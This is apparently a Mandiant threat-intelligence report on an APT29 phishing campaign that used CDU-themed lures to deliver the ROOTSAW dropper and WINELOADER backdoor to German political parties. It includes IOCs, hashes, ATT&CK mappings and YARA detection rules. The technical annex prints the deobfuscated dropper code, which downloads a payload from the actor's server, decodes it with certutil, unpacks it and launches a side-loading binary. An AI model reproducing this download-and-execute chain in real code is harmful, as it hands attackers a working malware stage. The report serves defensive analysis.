APT29 Uses WINELOADER to Target German Political Parties

mandiant.com/resources/blog/apt29-wineloader-german-political-parties

Mandiant

Written by: Luke Jenkins, Dan Black

Executive Summary

- In late February, APT29 used a new backdoor variant publicly tracked as WINELOADER to target German political parties with a CDU-themed lure.
- This is the first time we have seen this APT29 cluster target political parties, indicating a possible area of emerging operational focus beyond the typical targeting of diplomatic missions.
- Based on the SVR's responsibility to collect political intelligence and this APT29 cluster's historical targeting patterns, we judge this activity to present a broad threat to European and other Western political parties from across the political spectrum.
- Please see the Technical Annex for technical details and MITRE ATT&CK techniques, (T1543.003, T1012, T1082, T1134, T1057, T1007, T1027, T1070.004, T1055.003 and T1083)

Threat Detail

In late February 2024, Mandiant identified APT29 — a Russian Federation backed threat group linked by multiple governments to Russia's Foreign Intelligence Service (SVR) — conducting a phishing campaign targeting German political parties. Consistent with APT29 operations extending back to 2021, this operation leveraged APT29's mainstay first-stage payload ROOTSAW (aka EnvyScout) to deliver a new backdoor variant publicly tracked as WINELOADER.

Notably, this activity represents a departure from this APT29 initial access cluster's typical remit of targeting governments, foreign embassies, and other diplomatic missions, and is the first time Mandiant has seen an operational interest in political parties from this APT29 subcluster. Additionally, while APT29 has previously used lure documents bearing the logo of German government organizations, this is the first instance where we have seen the group use German-language lure content — a possible artifact of the targeting differences (i.e. domestic vs. foreign) between the two operations.

- Phishing emails were sent to victims purporting to be an invite to a dinner reception on 01 March bearing a logo from the Christian Democratic Union (CDU), a major political party in Germany (see Figure 1).
- The German-language lure document contains a phishing link directing victims to a malicious ZIP file containing a ROOTSAW dropper hosted on an actor-controlled compromised website “https://waterforvoiceless[.]org/invite.php”.
- ROOTSAW delivered a second-stage CDU-themed lure document and a next stage WINELOADER payload retrieved from “waterforvoiceless[.]org/util.php”.
    - WINELOADER was first observed in operational use in late January 2024 in an operation targeting likely diplomatic entities in Czechia, Germany, India, Italy, Latvia, and Peru.
    - The backdoor contains several features and functions that overlap with several known APT29 malware families including BURNTBATTER, MUSKYBEAT and BEATDROP, indicating they are likely created by a common developer (see Technical Annex for additional details).

Wir freuen uns, Sie zu einem Abendessen des regionalen repräsentativen Amtes der Partei einzuladen, das am 1. März um 19 Uhr helfen wird

Um an der Veranstaltung teilzunehmen, füllen Sie bitte einen Fragebogen aus und senden Sie ihn in den nächsten Tagen per E -Mail. Einladungen werden in die ordnungsgemäße Zeit gesendet.

Sie finden alle erforderlichen Informationen über die Veranstaltung sowie das Formular für die Teilnahme auf unserer Website.

Figure 1: Lure document redirecting victims to an APT29 controlled compromised WordPress website hosting ROOTSAW

Figure 2: Second CDU lure displayed by ROOTSAW downloader

Outlook & Implications

ROOTSAW continues to be the central component of APT29's initial access efforts to collect foreign political intelligence. The first-stage malware's expanded use to target German political parties is a noted departure from the typical diplomatic focus of this APT29 subcluster, and almost certainly reflects the SVR's interest in gleaning information from political parties and other aspects of civil society that could advance Moscow's geopolitical interests.

As highlighted in our previous research detailing APT29's operations in the first-half of 2023, these malware delivery operations are highly adaptive, and continue to evolve in lockstep with Russia's geopolitical realities. We therefore suspect that APT29's interest in these organizations is unlikely to be limited to Germany. Western political parties and their associated bodies from across the political spectrum are likely also possible targets for future SVR-linked cyber espionage activity given Moscow's vital interest in understanding changing Western political dynamics related to Ukraine and other flashpoint foreign policy issues.

Based on recent activity from other APT29 subclusters, attempts to achieve initial access beyond phishing may include attempts to subvert cloud-based authentication mechanisms or brute force methods such as password spraying. For more details regarding APT29's recent tactics, please see the February 2024 advisory from the United Kingdom's National Cyber Security Center (NCSC).

Technical Annex

Initial Access

Starting as early as 26 February 2024, APT29 distributed phishing attachments containing links to an actor-controlled compromise website, "waterforvoiceless[.]org/invite.php", to redirect victims to a ROOTSAW dropper. This ROOTSAW variant uses the same JavaScript obfuscation resource used in previous APT29 operations, and ultimately results in a request to download and execute the second stage WINELOADER from the same server at "waterforvoiceless[.]org/util.php".

The ROOTSAW payload contains a JSObfuscated payload, that when parsed, results in the following code that is responsible for downloading a file to disk as "invite.txt", decoding it using Windows Certutil, then decompressing the code using tar. Finally, the legitimate Windows binary (SqlDumper.exe) is executed by the actor.

```
var a = new ActiveXObject("Wscript.Shell");
function Ijdaskjw(_0x559297) {
  var _0x3bd487 = new XMLHttpRequest();
  _0x3bd487.onreadystatechange = function () {
    if (_0x3bd487.readyState == 0x4 && _0x3bd487.status == 0xc8) {
      var _0x11aa10 = _0x3bd487.response;
      var _0xce698d = new ActiveXObject("Scripting.FileSystemObject");
      var _0x20081c = _0xce698d.OpenTextFile("C:\\Windows\\Tasks
\\invite.txt", 0x2, true, 0x0);
      _0x20081c.Write(_0x11aa10);
      _0x20081c.close();
      a.Run("certutil -decode C:\\Windows\\Tasks\\invite.txt C:\\Windows
\\Tasks\\invite.zip", 0x0);
      var _0x245d53 = Date.now();
      var _0x3f9f72 = null;
      do {
        _0x3f9f72 = Date.now();
      } while (_0x3f9f72 - _0x245d53 < 0xbb8);
      a.Run("tar -xf C:\\Windows\\Tasks\\invite.zip -C C:\\Windows\\Tasks
\\ ", 0x0);
      var _0x245d53 = Date.now();
      var _0x3f9f72 = null;
      do {
        _0x3f9f72 = Date.now();
      } while (_0x3f9f72 - _0x245d53 < 0xdac);
      a.Run("C:\\Windows\\Tasks\\SqlDumper.exe", 0x0);
    }
  };
  _0x3bd487.open("GET", _0x559297, true);
  _0x3bd487.send(null);
}
Ijdaskjw("https://waterforvoiceless.org/util.php");
```

- Invite.pdf (MD5: fb6323c19d3399ba94ecd391f7e35a9c)
  - Second CDU-themed PDF lure document
  - Written in LibreOffice 6.4 by default user “Writer”
  - Metadata documents the PDF as en-GB language
  - Links to https://waterforvoiceless[.]org/invite.php
- invite.php (MD5: 7a465344a58a6c67d5a733a815ef4cb7)
  - Zip file containing ROOTSAW
  - Downloaded from https://waterforvoiceless[.]org/invite.php
  - Executes efafcd00b9157b4146506bd381326f39
- invite.hta (MD5: efafcd00b9157b4146506bd381326f39)
  - ROOTSAW downloader containing obfuscated code
  - Downloads from https://waterforvoiceless[.]org/util.php
  - Extracts 44ce4b785d1795b71cee9f77db6ffe1b
  - Executes f32c04ad97fa25752f9488781853f0ea

- invite.txt (MD5: 44ce4b785d1795b71cee9f77db6ffe1b)
    - Malicious certificate file, extracted using Windows Certutil
    - Executed from efafcd00b9157b4146506bd381326f39
    - Downloaded from https://waterforvoiceless[.]org/util.php
- invite.zip (MD5: 5928907c41368d6e87dc3e4e4be30e42)
    - Malicious zip containing WINELOADER
    - Extracted from 44ce4b785d1795b71cee9f77db6ffe1b
    - Contains e017bfc36e387e8c3e7a338782805dde
    - Contains f32c04ad97fa25752f9488781853f0ea
- sqldumper.exe (MD5: f32c04ad97fa25752f9488781853f0ea)
    Legitimate Microsoft file Sqldumper used for side loading

Analysis of WINELOADER

WINELOADER is likely a variant of the non-public historic BURNTBATTER and MUSKYBEAT code families which Mandiant uniquely associates with APT29. It shares a similar design and pattern, specifically around the invocation of the malware and the anti-analysis techniques used. However, the code family itself is considerably more customized than the previous variants, as it no longer uses publicly available loaders like DONUT or DAVESHELL and implements a unique C2 mechanism. Additionally, WINELOADER contains the following shared techniques with other code families used by APT29:

- The RC4 algorithm used to decrypt the next stage payload;
- Process/DLL name check to validate the payload context (in use since early BEATDROP variants);
- Ntdll usermode hook bypass (in use since early BEATDROP variants).

WINELOADER is invoked via a DLL side loading technique into a legitimate Windows executable and starts to decrypt the main implant logic itself using RC4. This first layer of deobfuscation was first witnessed in the MUSKYBEAT/BURNTBATTER malware families and was originally used to decrypt a second file also stored in the zip file. Within WINELOADER, it is used to decrypt a region of memory containing the actual WINELOADER module. This module is a compiled position independent shellcode which contains references within itself to strings and decryption modules.

The decryption function then moves execution to this position independent shellcode. ZScaler refers to this resource as the WINELOADER core module, and notes that it contains settings (C2 information, RC4 decryption keys) and strings. Based on samples identified by Mandiant, the WINELOADER resource contains 70 encrypted strings and both samples have the default sleep timer of 2 seconds configured.

WINELOADER communicates using HTTP GET requests using a user agent contained within the resource. Each packet to the C2 server contains a random size registration packet, this packet contains environment information like the victim's username/device name, the process name and some information that could be used by the actor to determine whether the compromised system is a valid target (parent process path, etc.). The response from the C2 server can task the WINELOADER to execute a new module (either within the same process, or via process injection) and to update the sleep timer.

Although Mandiant was unable to obtain commands from the actor, ZScaler reported that they were able to receive a command to persist WINELOADER which resulted in a run key to be configured on the device.

- vcruntime140.dll (MD5: 8bd528d2b828c9289d9063eba2dc6aa0)
  - WINELOADER downloader
  - Communicates to https://siestakeying[.]com/auth.php
- Vcruntime140.dll (MD5: e017bfc36e387e8c3e7a338782805dde)
  - WINELOADER downloader
  - Communicates to https://siestakeying[.]com/auth.php

MITRE ATT&CK Techniques

ID	Technique
T1543.003	Windows Service
T1012	Query Registry
T1082	System Information Discovery
T1134	Access Token Manipulation
T1057	Process Discovery
T1007	System Service Discovery
T1027	Obfuscated Files or Information
T1070.004	File Deletion

T1055.003	Thread Execution Hijacking
T1083	File and Directory Discovery

Detections

```
rule M_APT_Dropper_Rootsaw_Obfuscated
{
    meta:
        author = "Mandiant"
        disclaimer = "This rule is meant for hunting
and is not tested to run in a production environment."
        description = "Detects obfuscated ROOTSAW payloads"

    strings:
        $ = "function _"
        $ = "new XMLHttpRequest();"
        $ = "'\\x2e\\x7a\\x69\\x70'"
        $ = "'\\x4f\\x70\\x65\\x6e'"
        $ = "\\x43\\x3a\\x5c\\x57"

    condition:
        all of them
}

rule M_APT_Downloader_WINELOADER_1
{
    meta:
        author = "Mandiant"
        disclaimer = "This rule is meant for hunting and
is not tested to run in a production environment."
        description = "Detects rc4 decryption logic in
WINELOADER samples"

    strings:
        $ = {B9 00 01 00 00 99 F7 F9 8B 44 24 [50-200]
0F B6 00 3D FF 00 00 00} // Key initialization
        $ = {0F B6 00 3D FF 00 00 00} // Key size

    condition:
        all of them

}
```

```
rule M_APT_Downloader_WINELOADER_2
{
    meta:
        author = "Mandiant"
        disclaimer = "This rule is meant for hunting and
is not tested to run in a production environment."
        description = "Detects payload invocation stub
in WINELOADER"

    strings:
        // 48 8D 0D ?? ?? 00 00  lea rcx, module_start
(Pointer to encrypted resource)
        // 48 C7 C2 ?? ?? 00 00  mov rdx, ???? (size of encrypted source)
        // E8 [4]  call decryption
        // 48 8D 05 [4]  lea rcx, ??
        // 48 8D 0D [4]  lea rax, module_start (decrypted resource)
        // 48 89 05 [4]  mov ptr_mod, rax
        //
        $ = {48 8D 0D ?? ?? 00 00 48 C7 C2 ?? ?? 00 00 E8 [4]
48 8d 0D [4] 48 8D 05 [4] 48 89 05 }

    condition:
        all of them
}
```

Posted in

Threat Intelligence